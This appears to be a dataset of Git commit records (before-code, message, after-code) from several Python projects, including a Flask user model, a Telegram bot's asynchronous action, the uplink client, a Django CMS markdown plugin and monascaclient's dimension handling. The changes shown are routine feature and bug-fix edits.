# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db from ..utils.uploadsets import avatars class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200), default='default.png') password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) @property def avatar_url(self): return avatars.url(self.avatar) def __repr__(self): return '<User %s>' % self.name
<commit_before># coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200)) password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) def __repr__(self): return '<User %s>' % self.name <commit_msg>Add avatar_url property to User.<commit_after>
# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db from ..utils.uploadsets import avatars class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200), default='default.png') password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) @property def avatar_url(self): return avatars.url(self.avatar) def __repr__(self): return '<User %s>' % self.name
# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200)) password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) def __repr__(self): return '<User %s>' % self.name Add avatar_url property to User.# coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db from ..utils.uploadsets import avatars class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200), default='default.png') password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) @property def avatar_url(self): return avatars.url(self.avatar) def __repr__(self): return '<User %s>' % self.name
<commit_before># coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200)) password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) def __repr__(self): return '<User %s>' % self.name <commit_msg>Add avatar_url property to User.<commit_after># coding: utf-8 from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from ._base import db from ..utils.uploadsets import avatars class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True) email = db.Column(db.String(50), unique=True) avatar = db.Column(db.String(200), default='default.png') password = db.Column(db.String(200)) is_admin = db.Column(db.Boolean, default=False) created_at = db.Column(db.DateTime, default=datetime.now) def __setattr__(self, name, value): # Hash password when set it. if name == 'password': value = generate_password_hash(value) super(User, self).__setattr__(name, value) def check_password(self, password): return check_password_hash(self.password, password) @property def avatar_url(self): return avatars.url(self.avatar) def __repr__(self): return '<User %s>' % self.name
4bf955998c6f25d79105de067ceaa74a5023385c
bot/action/standard/asynchronous.py
bot/action/standard/asynchronous.py
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 1, max_workers: int = 4, max_seconds_idle: int = 15): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 0, max_workers: int = 4, max_seconds_idle: int = 60): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60
Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60
Python
agpl-3.0
alvarogzp/telegram-bot,alvarogzp/telegram-bot
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 1, max_workers: int = 4, max_seconds_idle: int = 15): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action")) Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 0, max_workers: int = 4, max_seconds_idle: int = 60): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
<commit_before>from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 1, max_workers: int = 4, max_seconds_idle: int = 15): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action")) <commit_msg>Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60<commit_after>
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 0, max_workers: int = 4, max_seconds_idle: int = 60): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 1, max_workers: int = 4, max_seconds_idle: int = 15): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action")) Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 0, max_workers: int = 4, max_seconds_idle: int = 60): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
<commit_before>from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 1, max_workers: int = 4, max_seconds_idle: int = 15): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action")) <commit_msg>Update AsynchronousAction default values of min_workers to 0 and max_seconds_idle to 60<commit_after>from bot.action.core.action import IntermediateAction from bot.multithreading.work import Work class AsynchronousAction(IntermediateAction): def __init__(self, name: str, min_workers: int = 0, max_workers: int = 4, max_seconds_idle: int = 60): super().__init__() self.name = name self.min_workers = min_workers self.max_workers = max_workers self.max_seconds_idle = max_seconds_idle self.worker_pool = None # initialized in post_setup where we have access to scheduler def post_setup(self): self.worker_pool = self.scheduler.new_worker_pool( self.name, self.min_workers, self.max_workers, self.max_seconds_idle ) def process(self, event): self.worker_pool.post(Work(lambda: self._continue(event), "asynchronous_action"))
41478d9ef0f8506ebe11ea5746450fe6dca02982
uplink/clients/io/__init__.py
uplink/clients/io/__init__.py
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy from uplink.clients.io.twisted_strategy import TwistedStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." )
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) try: from uplink.clients.io.twisted_strategy import TwistedStrategy except (ImportError, SyntaxError): # pragma: no cover class TwistedStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `twisted` execution strategy: you may be not have " "the twisted library installed." )
Remove mandatory dependency on twisted
Remove mandatory dependency on twisted
Python
mit
prkumar/uplink
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy from uplink.clients.io.twisted_strategy import TwistedStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) Remove mandatory dependency on twisted
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) try: from uplink.clients.io.twisted_strategy import TwistedStrategy except (ImportError, SyntaxError): # pragma: no cover class TwistedStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `twisted` execution strategy: you may be not have " "the twisted library installed." )
<commit_before>from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy from uplink.clients.io.twisted_strategy import TwistedStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) <commit_msg>Remove mandatory dependency on twisted<commit_after>
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) try: from uplink.clients.io.twisted_strategy import TwistedStrategy except (ImportError, SyntaxError): # pragma: no cover class TwistedStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `twisted` execution strategy: you may be not have " "the twisted library installed." )
from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy from uplink.clients.io.twisted_strategy import TwistedStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) Remove mandatory dependency on twistedfrom uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) try: from uplink.clients.io.twisted_strategy import TwistedStrategy except (ImportError, SyntaxError): # pragma: no cover class TwistedStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `twisted` execution strategy: you may be not have " "the twisted library installed." )
<commit_before>from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy from uplink.clients.io.twisted_strategy import TwistedStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) <commit_msg>Remove mandatory dependency on twisted<commit_after>from uplink.clients.io.interfaces import ( Client, Executable, IOStrategy, RequestTemplate, ) from uplink.clients.io.execution import RequestExecutionBuilder from uplink.clients.io.templates import CompositeRequestTemplate from uplink.clients.io.blocking_strategy import BlockingStrategy __all__ = [ "Client", "CompositeRequestTemplate", "Executable", "IOStrategy", "RequestTemplate", "BlockingStrategy", "AsyncioStrategy", "TwistedStrategy", "RequestExecutionBuilder", ] try: from uplink.clients.io.asyncio_strategy import AsyncioStrategy except (ImportError, SyntaxError): # pragma: no cover class AsyncioStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `asyncio` execution strategy: you may be using a version " "of Python below 3.3. `aiohttp` requires Python 3.4+." ) try: from uplink.clients.io.twisted_strategy import TwistedStrategy except (ImportError, SyntaxError): # pragma: no cover class TwistedStrategy(IOStrategy): def __init__(self, *args, **kwargs): raise NotImplementedError( "Failed to load `twisted` execution strategy: you may be not have " "the twisted library installed." )
e0f6dba294e062d0a93b7cdf8a6c8fc1557671a2
cmsplugin_simple_markdown/models.py
cmsplugin_simple_markdown/models.py
from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) def __unicode__(self): return self.markdown_text
import threading from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin from cmsplugin_simple_markdown import utils localdata = threading.local() localdata.TEMPLATE_CHOICES = utils.autodiscover_templates() TEMPLATE_CHOICES = localdata.TEMPLATE_CHOICES class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) template = models.CharField( verbose_name=_('template'), choices=TEMPLATE_CHOICES, max_length=255, default='cmsplugin_simple_markdown/simple_markdown.html', editable=len(TEMPLATE_CHOICES) > 1 ) def __unicode__(self): return self.markdown_text
Add template field to SimpleMarkdownPlugin model
Add template field to SimpleMarkdownPlugin model
Python
bsd-3-clause
Alir3z4/cmsplugin-simple-markdown,Alir3z4/cmsplugin-simple-markdown
from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) def __unicode__(self): return self.markdown_text Add template field to SimpleMarkdownPlugin model
import threading from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin from cmsplugin_simple_markdown import utils localdata = threading.local() localdata.TEMPLATE_CHOICES = utils.autodiscover_templates() TEMPLATE_CHOICES = localdata.TEMPLATE_CHOICES class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) template = models.CharField( verbose_name=_('template'), choices=TEMPLATE_CHOICES, max_length=255, default='cmsplugin_simple_markdown/simple_markdown.html', editable=len(TEMPLATE_CHOICES) > 1 ) def __unicode__(self): return self.markdown_text
<commit_before>from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) def __unicode__(self): return self.markdown_text <commit_msg>Add template field to SimpleMarkdownPlugin model<commit_after>
import threading from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin from cmsplugin_simple_markdown import utils localdata = threading.local() localdata.TEMPLATE_CHOICES = utils.autodiscover_templates() TEMPLATE_CHOICES = localdata.TEMPLATE_CHOICES class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) template = models.CharField( verbose_name=_('template'), choices=TEMPLATE_CHOICES, max_length=255, default='cmsplugin_simple_markdown/simple_markdown.html', editable=len(TEMPLATE_CHOICES) > 1 ) def __unicode__(self): return self.markdown_text
from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) def __unicode__(self): return self.markdown_text Add template field to SimpleMarkdownPlugin modelimport threading from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin from cmsplugin_simple_markdown import utils localdata = threading.local() localdata.TEMPLATE_CHOICES = utils.autodiscover_templates() TEMPLATE_CHOICES = localdata.TEMPLATE_CHOICES class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) template = models.CharField( verbose_name=_('template'), choices=TEMPLATE_CHOICES, max_length=255, default='cmsplugin_simple_markdown/simple_markdown.html', editable=len(TEMPLATE_CHOICES) > 1 ) def __unicode__(self): return self.markdown_text
<commit_before>from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) def __unicode__(self): return self.markdown_text <commit_msg>Add template field to SimpleMarkdownPlugin model<commit_after>import threading from django.db import models from django.utils.translation import ugettext_lazy as _ from cms.models.pluginmodel import CMSPlugin from cmsplugin_simple_markdown import utils localdata = threading.local() localdata.TEMPLATE_CHOICES = utils.autodiscover_templates() TEMPLATE_CHOICES = localdata.TEMPLATE_CHOICES class SimpleMarkdownPlugin(CMSPlugin): markdown_text = models.TextField(verbose_name=_('text')) template = models.CharField( verbose_name=_('template'), choices=TEMPLATE_CHOICES, max_length=255, default='cmsplugin_simple_markdown/simple_markdown.html', editable=len(TEMPLATE_CHOICES) > 1 ) def __unicode__(self): return self.markdown_text
e288e8a52df0ac67a24271c40e23ae054e39fa52
monascaclient/common/monasca_manager.py
monascaclient/common/monasca_manager.py
# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] dim_str = k + ':' + v dim_list.append(dim_str) return ','.join(dim_list)
# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] if v: dim_str = k + ':' + v else: dim_str = k dim_list.append(dim_str) return ','.join(dim_list)
Fix metric dimensions having only key
Fix metric dimensions having only key When metric dimensions have only key, query parameter will be ending with ':' delimiter. But api can not handle this query parameter. So change to eliminate ':' delimiter when metric dimensions have only key. Change-Id: I1327f8fe641fe98cf16c28911ef19908468d1bc0
Python
apache-2.0
openstack/python-monascaclient,stackforge/python-monascaclient,sapcc/python-monascaclient,sapcc/python-monascaclient,stackforge/python-monascaclient,openstack/python-monascaclient
# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] dim_str = k + ':' + v dim_list.append(dim_str) return ','.join(dim_list) Fix metric dimensions having only key When metric dimensions have only key, query parameter will be ending with ':' delimiter. But api can not handle this query parameter. So change to eliminate ':' delimiter when metric dimensions have only key. Change-Id: I1327f8fe641fe98cf16c28911ef19908468d1bc0
# (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] if v: dim_str = k + ':' + v else: dim_str = k dim_list.append(dim_str) return ','.join(dim_list)
<commit_before># (C) Copyright 2014 Hewlett Packard Enterprise Development Company LP # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. from monascaclient.openstack.common.apiclient import base class MonascaManager(base.BaseManager): def __init__(self, client, **kwargs): super(MonascaManager, self).__init__(client) def get_headers(self): headers = self.client.credentials_headers() return headers def get_dimensions_url_string(self, dimdict): dim_list = list() for k, v in dimdict.items(): # In case user specifies a dimension multiple times if isinstance(v, (list, tuple)): v = v[-1] dim_str = k + ':' + v dim_list.append(dim_str) return ','.join(dim_list) <commit_msg>Fix metric dimensions having only key When metric dimensions have only key, query parameter will be ending with ':' delimiter. But api can not handle this query parameter. So change to eliminate ':' delimiter when metric dimensions have only key. Change-Id: I1327f8fe641fe98cf16c28911ef19908468d1bc0<commit_after>
